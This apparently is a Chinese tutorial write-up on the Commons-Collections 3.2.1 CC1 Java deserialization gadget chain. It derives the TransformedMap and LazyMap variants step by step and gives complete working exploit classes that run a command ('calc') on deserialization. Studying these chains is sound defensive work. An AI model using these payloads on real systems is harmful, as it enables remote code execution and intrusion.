Commons-Collections 篇 --CC1
CC1
介绍
CC1 是 Apache Commons-Collections 3.2.1 库中最经典、最著名的反序列化利用链(Gadget Chain)。
攻击者只要能控制反序列化输入,就能通过 CC1 链在目标机器上执行任意命令(RCE)。
CC1 链的源头是 Commons Collections 库中的 Tranformer ( org/apache/commons/collections/Transformer.java )接口中的 transform 方法。
这个接口的设计初衷,是为了把一个对象转换成另一个对象, 但是,在实现类里把 transform 变成“可以执行任意逻辑”时,就出现了漏洞。
环境
官网下载jdk8u_65(以英文打开官网,才可下载到65;中文打开会下的其他版本)

建立项目,pom.xml加入3.2.1依赖
1
2
3
4
5
6<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>修改sun包(http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4)
class文件转为源码(方便调试)
下载zip

解压得到jdk-af660750b2f4
在如图的路径

将sun文件夹放到(从上面拖到这个路径下)
sre从dk1.8.0_65的sre.zip解压即可

把 src 文件夹添加到源路径下

Find Usages(利用点查找)
攻击链分析
入口类这里,我们需要一个 readObject 方法,结尾这里需要一个能够命令执行的方法(需要逆向分析)

commons collections就是可序列化集合类,可以接受任意对象
利用点查找
找到“反序列化入口”
找的是能触发:
1
ObjectInputStream.readObject()的地方(无论是手写的 / 网络传输 / RPC / Tomcat session / RMI 等)
典型入口代码:
1
2ObjectInputStream ois = new ObjectInputStream(inputStream); Object obj = ois.readObject();IDE(如 IDEA)里直接用右键 readObject() → Find Usages你就能看到所有执行反序列化的地方从入口往下找“可控对象”
条件 描述 ✔ 有反序列化入口 readObject() 触发 ✔ 输入内容可控 你可以发送恶意序列化数据 ✔ 类的 readObject中会调用某些危险点如方法执行、getter 调用、hashCode 等 寻找会被反序列化的类:
- 看 readObject() 之后出现的代码(调试时可见反序列化的类名)。
- 查看该入口接收的数据是什么类型的对象。
- 找这些类是否实现了
Serializable。
找 危险方法自动触发点
方法 说明 readObject()反序列化时自动触发 readResolve()替换对象时调用 finalize()GC 时调用 hashCode()/equals()被放入 HashMap 时触发 compareTo()TreeMap / PriorityQueue 排序时触发 toString()打日志时触发 寻找 集合类引发的链式调用
用 Find Usages 查某个可疑类是否被放入 HashMap / TreeMap / PriorityQueue 等结构中。
如果发现这种情况 = 有可能形成反序列化链。查 gadget(利用类)是否存在于依赖中
查看库中是否存在 gadget,例如:
- commons-collections
- fastjson
- jackson
- xstream
- groovy
- jython
- rome
- spring-core
查看是否有地方反序列化这些类,就能判断是否可利用。
分析
先在一个CC1Test文件写个测试代码的框架吧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22package org.example; import java.io.*; public class CC1Test { public static void main( String[] args ) throws Exception { //在这测试 } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
TransformedMap 版
漏洞利用
提前了解到cc1是由类InvokerTransformer它实现接口Transformer
可以先弹一个计算器测试一下,环境能不能跑通

首先是发现了了一个Transformer接口,用于接收对象来实现transform(Object input)方法

查看其实现类

定位到了InvokerTransformer
InvokerTransformer.java,查看这个文件的transform方法

发现存在反射调用
1
2
3
4
5
6
7
8public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);接收对象之后,对方法,值进行反射调用
(这些都是可以自主控制的)利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import java.io.IOException; public class CC1Test { public static void main(String[] args) throws IOException { //Runtime.getRuntime().exec("calc"); Runtime r = Runtime.getRuntime(); //方法名为exec,参数类型为String,参数值为calc InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); invokerTransformer.transform(r); } }
逐步分析
第一步
InvokerTransformer.java存在exec()
也就是InvokerTransformer的transform方法是危险方法
input 对象 → InvokerTransformer("getMethod") → InvokerTransformer("invoke") → InvokerTransformer("exec")
现在要回推 哪个调用了transform
跟进transform


在项目和库中进行查找
主要是查看不同类 调用transform,最后最后回到readObject()
也就是说不要transform返回transform
最后找到了就是map类

流程:就是看x调用transform,在找x有没有readObject()调用
TransformMap调用较多,先从这里入手
以checkSetValue为例:
1
2
3protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }这个方法里面调用了transform
查看TransformedMap构造函数
1
2
3
4
5protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }是个protected类, 自己才可调用
意思就是说:传入将key&vbalue传入map,包装成TransformedMap
super(map)
把传入的
map保存到父类AbstractMapDecorator中
也就是它内部真正的数据还是你传进来的 Map。包了一层 ≈ 装饰模式(Decorator Pattern)
保存 key 和 value 的 transformer
1
2this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer;以后只要有人调用:
1
map.put(key, value)就会自动触发:
1
2key = keyTransformer.transform(key); value = valueTransformer.transform(value);
在往上看decorate返回值为TransformedMap
1
2
3public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }decorate是个静态方法
存在就是为了:将一个普通的 Map,包装成一个“可自动 transform 的 Map
疑问:
TransformedMap写构造器。之后,为什么还要decorate静态方法
由于是protect的构造器,如果不能new,只能在内部调用,所以需要一个静态方法将其实例化
所以就出现这样的构造:
1
2
3
4
5InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap map = new HashMap(); map.put("key", "value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);//包装,调用即执行value = invokerTransformer.transform(value); //(map, null, invokerTransformer)由于 checkSetValue返回的是valueTransformer,所以key为null
第二步
现在的目的就是要传入value
1
2
3protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }不知道value可不可控,所以现在就要查看
checkSetValue在哪调用了查找调用

AbstractInputCheckedMapDecorator.java这个类之下(其实这是TransformedMap的父类)

继续看来自
MapEntry这个类的setValue1
2
3
4public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }
查看
setValue的调用
返回的是entry.setValue(value);,也就是说value要走这里
构造试试:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21public class CC1Test { public static void main(String[] args) throws IOException { //Runtime.getRuntime().exec("calc"); Runtime r = Runtime.getRuntime(); //方法名为exec,参数类型为String,参数值为calc InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); // invokerTransformer.transform(r); //利用hashmap取出每个 Entry,恢复 key 和 value,插入到新的哈希结构中。 其中会调用 value.hashCode() 或 key 的方法(导致 transformer 执行) HashMap<Object, Object> map = new HashMap<>(); //map中写入值,后面替换成恶意对象 map.put("key","value"); //建立一个“包装器(wrapper)”,使 setValue 会触发 transformer Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer); // 遍历,通过 setValue 强制触发 transformer,把恶意对象注入到 HashMap 的内部 Entry 中 for(Map.Entry entry:transformedMap.entrySet()){ entry.setValue(r); }for循环遍历:
- 每次循环取出TransformedMap中的Entry节点对象(包含 key/value)
- 当前这个 entry 的 value 替换成 r(因为它是 TransformedMap 包装过的 Entry,实现了setValue 强制触发 valueTransformer.transform(r))
目前的流程

第三步
接下来就是按照上面的方法找setvalue
先找有没有
哪个类的readObject直接调用了setvalue
既有readobject,还有数组遍历,还调用了setvalue
看看这个类的构造函数

map可控,直接将前面构造好的map传入即可
注意:

class默认为**
default** 类型(包访问权限,在这个包下面才能访问)——->需要反射
问题
Runtime没有反序列化接口,需要反射
1
2
3
4
5Class c = Runtime.class; Method getRuntimeMethod = c.getMethod("getRuntime", null); Runtime r = (Runtime) getRuntimeMethod.invoke(null, null); Method execMethod = c.getMethod("exec", String.class); execMethod.invoke(r, "calc");这个类下的setvalue方法返回的是一个AnnotationTypeMismatchExceptionProxy对象
不是我们上面想要的runtime对象

处理这个类下的if条件过滤

逐步构造
解决问题1
根据runtime反射 对InvokerTransformer写runtime反射
1
2
3Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);但是步骤太多,每一句都是transform的循环调用
正好有一个chainedtransformer()
chainedtransformer()
1
2
3
4
5
6
7
8
9
10public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }把Transformer当作数组写进去之后,接下来递归调用
编写
1
2
3
4
5
6
7
8//利用ChainedTransformer缩减代码 Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); .transform(Runtime.class);写map+调用

invokerTransformer替换为chainedTransformer(调用一次相当于调用三次)
1
2
3HashMap<Object, Object> map = new HashMap<>(); map.put("key", "aaaa"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);加上序列化和反序列化的执行代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); Object o = annotationInvocationhdlConstructor.newInstance(Override.class, transformedMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
解决问题3
第一个if:主要是 对于注解的class进行限制——————>传入的注解参数,是有成员变量的

获取type成员方法,然后又在成员变量中查找它
所以需要一个有成员方法的class(注解),而且key还要改成成员方法的名字
换个其他注解
(Target)
返现返回的是value()
但是我们构造的key,所以将key改成value试试

发现可以进去了
修改
1
2
3HashMap<Object, Object> map = new HashMap<>(); map.put("value", "aaaa"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
第二个if:判断能不能强制转换(不能强制转换即可进)
解决问题2
最后的最后就是要改传入对象
用到的是constantTransformer
进去看一下

意思就是说,不管接收什么,都返回自己的值
所以加一句这个即可

所以在调用checksetvalue时,返回valueTransformer.transform(value)
调用transform(value)时,走到上面提到的代码
将value替换成Runtime.class
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public class CC1Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
//根据runtime反射 对InvokerTransformer写runtime反射
// Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
//利用ChainedTransformer缩减代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
// //Runtime.getRuntime().exec("calc");
// Runtime r = Runtime.getRuntime();
// //方法名为exec,参数类型为String,参数值为calc
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// // invokerTransformer.transform(r);
//利用hashmap写一个存储值的map,并且执行上面的 恶意代码
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "12");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(r);
// }
//构造一个经过加工、包含恶意 TransformedMap 的 AnnotationInvocationHandler 对象,让它在反序列化时进入 readObject,进而触发 commons-collections 的 transform 链。
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
//序列化反序列化函数
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}总结流程
InvokerTransformer.transform(value)
transformMap+decorate
valueTransformer.transform(value)——–>后面修改成了ChainedTransformer.transform(value
checkSetValue(value)
entry.setValue(value)
AnnotationInvocationHandler 的 memberValues.entrySet()
AnnotationInvocationHandler.readObject

或者看这张图(这张图片出自Bxhhf’s blog)

LazyMap 版
和上面不同的就是查找transform的时候,转到的是LazyMap上面是TransformMap

逐步分析
查看LazyMap的get方法
1
2
3
4
5
6
7
8
9public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }调用了 factory.transform(key)
而 factory

Transformer传
这个类的意思是:
如果传入的时候不存在key,则利用transform方法调用
存在则直接返回key值所以要确保
map.containsKey(key)里面没有key值
因为get查找实在太多了,根本找不过来,看看其他师傅的exp吧

查看谁调用get
看到上面是AnnotationInvocationHandler
在这个文件里面搜素get(
一个有五个,看哪个我们可以控制

找到了invoke()方法
因为invoke()方法写动态代理时必定调用(动态代理不管传入什么都会调用Proxy.handler.invoke())
由于现在Proxy要实现接口,现在就是要找一个接收接口的容器(比如:hashmap)
于是又找到了AnnotationInvocationHandler.readObject
因为它可以接收map,而正好对应上面的容器
现在的目的就是到走到最后的
Object result = memberValues.get(member);所以需要绕过下面的限制
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
//如果调用equals方法,后面就会返回equalsImpl(args[0]),这不是我们的目的, 所以就不能用equals方法
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
//如果参数不为0(有参方法),就会抛出异常,为了不要抛出异常, 所以就要在readobject里面调用无参方法
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);所以就要在readobject里面调用无参方法
查看readobject,就有无参方法

所以说就可以将
1
2
3AnnotationInvocationHandler.readObject的memberValues当做proxy AnnotationInvocationHandler的memberValues当做LazyMap为什么有两个呢??
根据当面的链子,这个类用了两次,一次当做map,一次当做接口
在后面写exp的时候就需要实例化两次
逐步构造
先写map
1
2
3HashMap<Object, Object> map = new HashMap<>(); // map.put("value", "12"); //不要传参 Map<Object, Object> lazyMap = LazyMap.decorate();查看LazyMap.decorate的参数

调用下面这个
所以
1
2HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);下一步,
获取类名,写构造器,执行方法1
2
3
4
5
6Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); //主要就是修改了这一行, 就改了一个map名 //而且Target.class可以传入其他的 比如Override Object o = annotationInvocationhdlConstructor.newInstance(Target.class, lazyMap);为什么Target.class可以传入其他的 比如Override?
因为这次不需要进if条件,即可到访问点

目前只要不爆出异常即可(所以上面map没赋值)
所以这么写
1
2
3
4
5Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor =c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); //这里强制转化的原因是,InvocationHandler类型在后面 写动态代理传参 会用到 InvocationHandler h = (InvocationHandler)annotationInvocationhdlConstructor.newInstance(Target.class, lazyMap);接下来写动态代理
1
2Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h); //强制转化的原因: 由于后面你写下一步的代码传参需要map类型 (AnnotationInvocationHandler接收map)
还要用AnnotationInvocationHandler,还得写构造器
1
Object o = annotationInvocationhdlConstructor.newInstance(Target.class, mapProxy);
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class CC1Test2 {
public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
//根据runtime反射 对InvokerTransformer写runtime反射
// Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
//利用ChainedTransformer缩减代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
// map.put("value", "12");
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Target.class, lazyMap);
Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}总结流程
InvokerTransformer.transform(value)
lazyMap+decorate
valueTransformer.transform(value)——–>后面修改成了ChainedTransformer.transform(value)
factory.transform(key)
lazyMap.get
invoke访问memberValues.get(动态代理)
AnnotationInvocationHandler.invoke
AnnotationInvocationHandler(memberValues)———>mapProxy(动态代理的 Map)
AnnotationInvocationHandler.readObject
下面那个
